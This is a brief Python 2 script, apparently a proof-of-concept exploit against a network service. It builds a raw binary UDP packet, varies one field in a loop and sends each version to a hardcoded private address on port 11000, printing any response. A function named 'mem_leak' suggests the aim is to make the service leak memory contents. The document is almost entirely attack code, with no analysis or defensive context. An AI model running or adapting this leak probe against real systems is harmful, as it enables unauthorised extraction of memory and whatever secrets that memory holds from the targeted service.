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 History

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#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket
import os
import time
import struct

def mem_leak(magic_message):
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    try:
        sender.sendto(magic_message, ("192.168.1.181", 11000))
        request = sender.recvfrom(1024)

        print request
    except:
        pass

packet_read = ["\x0c"]
packet_read += ["\x00\x1d\x0d"]
packet_read += ["\x10\x00"]
packet_read += ["\x01\x00"]
packet_read += ["\x00\x00"]
packet_read += ["\x66\x00"]
packet_read += ["\x00\x00"]
packet_read += ["\x00\x00"]
```

```
for i in range(101,119):
    packet_read[5] = struct.pack("H", i)
    packet = "".join(packet_read)
    print [hex(ord(i)) for i in packet]
    mem_leak(packet)
```